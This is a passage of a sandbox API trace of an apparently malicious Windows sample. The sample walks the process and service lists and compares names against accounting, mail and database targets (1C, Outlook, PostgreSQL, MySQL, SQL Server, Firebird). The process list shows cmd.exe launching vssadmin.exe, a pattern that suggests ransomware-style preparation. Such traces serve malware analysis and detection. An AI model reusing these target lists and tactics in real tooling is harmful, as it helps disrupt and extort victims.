lstrlenW (lpString="wscsvc") returned 6 [0116.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0116.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0116.169] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0116.169] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0116.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0116.169] lstrlenW (lpString="wuauserv") returned 8 [0116.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0116.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0116.169] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0116.169] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0116.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0116.169] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0116.172] Process32FirstW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.173] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.174] lstrlenW (lpString="System") returned 6 [0116.174] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0116.174] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0116.174] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0116.174] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0116.174] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0116.174] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0116.174] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0116.174] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.175] lstrlenW (lpString="smss.exe") returned 8 [0116.175] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0116.175] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0116.175] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.176] lstrlenW (lpString="csrss.exe") returned 9 [0116.176] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.176] lstrlenW (lpString="wininit.exe") returned 11 [0116.176] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.177] lstrlenW (lpString="csrss.exe") returned 9 [0116.177] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.178] lstrlenW (lpString="winlogon.exe") returned 12 [0116.178] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0116.179] lstrlenW (lpString="services.exe") returned 12 [0116.179] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0116.180] lstrlenW (lpString="lsass.exe") returned 9 [0116.180] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0116.181] lstrlenW (lpString="lsm.exe") returned 7 [0116.181] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.181] lstrlenW (lpString="svchost.exe") returned 11 [0116.181] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.182] lstrlenW (lpString="svchost.exe") returned 11 [0116.182] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.183] lstrlenW (lpString="svchost.exe") returned 11 [0116.183] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.184] lstrlenW (lpString="svchost.exe") returned 11 [0116.184] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.185] lstrlenW (lpString="svchost.exe") returned 11 [0116.185] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0116.185] lstrlenW (lpString="audiodg.exe") returned 11 [0116.185] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.186] lstrlenW (lpString="svchost.exe") returned 11 [0116.186] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.187] lstrlenW (lpString="svchost.exe") returned 11 [0116.187] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0116.188] lstrlenW (lpString="dwm.exe") returned 7 [0116.188] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0116.189] lstrlenW (lpString="explorer.exe") returned 12 [0116.189] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0116.189] lstrlenW (lpString="spoolsv.exe") returned 11 [0116.189] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.190] lstrlenW (lpString="taskhost.exe") returned 12 [0116.190] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.191] lstrlenW (lpString="svchost.exe") returned 11 [0116.191] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.192] lstrlenW (lpString="taskeng.exe") returned 11 [0116.192] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.193] lstrlenW (lpString="taskhost.exe") returned 12 [0116.193] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0116.193] lstrlenW (lpString="fixwaves.exe") returned 12 [0116.193] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0116.538] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0116.538] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0116.539] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0116.539] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0116.540] lstrlenW (lpString="monsaver.exe") returned 12 [0116.540] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0116.541] lstrlenW (lpString="dosesugar.exe") returned 13 [0116.541] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0116.542] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0116.542] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0116.542] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0116.542] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0116.543] lstrlenW (lpString="nonprofit top.exe") returned 17 [0116.543] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0116.544] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0116.544] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0116.545] lstrlenW (lpString="accused.exe") returned 11 [0116.545] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0116.546] lstrlenW (lpString="governance.exe") returned 14 [0116.546] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0116.546] lstrlenW (lpString="old.exe") returned 7 [0116.546] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0116.547] lstrlenW (lpString="xi cg.exe") returned 9 [0116.547] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0116.548] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0116.548] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0116.548] lstrlenW (lpString="burlington.exe") returned 14 [0116.548] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0116.549] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0116.549] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0116.549] lstrlenW (lpString="buildings.exe") returned 13 [0116.550] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0116.550] lstrlenW (lpString="predictions_took.exe") returned 20 [0116.550] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0116.551] lstrlenW (lpString="carry_dns.exe") returned 13 [0116.551] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0116.551] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0116.551] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.552] lstrlenW (lpString="svchost.exe") returned 11 [0116.552] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0116.552] lstrlenW (lpString="sppsvc.exe") returned 10 [0116.553] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.553] lstrlenW (lpString="svchost.exe") returned 11 [0116.553] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0116.554] lstrlenW (lpString="msiexec.exe") returned 11 [0116.554] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0116.554] lstrlenW (lpString="cmd.exe") returned 7 [0116.554] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.555] lstrlenW (lpString="conhost.exe") returned 11 [0116.555] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0116.556] lstrlenW (lpString="vssadmin.exe") returned 12 [0116.556] Process32NextW (in: hSnapshot=0x19c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0116.556] CloseHandle (hObject=0x19c) returned 1 [0116.556] Sleep (dwMilliseconds=0x1f4) [0117.523] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52e788 [0117.523] EnumServicesStatusExW (in: hSCManager=0x52e788, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0117.524] GetLastError () returned 0xea [0117.524] EnumServicesStatusExW (in: hSCManager=0x52e788, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x52f080, cbBufSize=0x13fc, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x52f080, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0117.524] CloseServiceHandle (hSCObject=0x52e788) returned 1 [0117.524] lstrlenW (lpString="Appinfo") returned 7 [0117.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0117.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0117.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0117.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0117.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0117.525] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0117.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0117.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0117.525] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0117.525] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0117.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0117.525] lstrlenW (lpString="AudioSrv") returned 8 [0117.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0117.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0117.525] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0117.525] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0117.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0117.525] lstrlenW (lpString="BFE") returned 3 [0117.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0117.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0117.525] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0117.525] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0117.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0117.525] lstrlenW (lpString="CryptSvc") returned 8 [0117.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0117.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0117.525] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0117.525] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0117.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0117.525] lstrlenW (lpString="CscService") returned 10 [0117.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0117.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0117.525] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0117.525] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0117.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0117.526] lstrlenW (lpString="DcomLaunch") returned 10 [0117.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0117.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0117.526] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0117.526] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0117.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0117.526] lstrlenW (lpString="Dhcp") returned 4 [0117.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0117.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0117.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0117.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0117.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0117.526] lstrlenW (lpString="Dnscache") returned 8 [0117.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0117.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0117.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0117.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0117.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0117.526] lstrlenW (lpString="DPS") returned 3 [0117.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0117.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 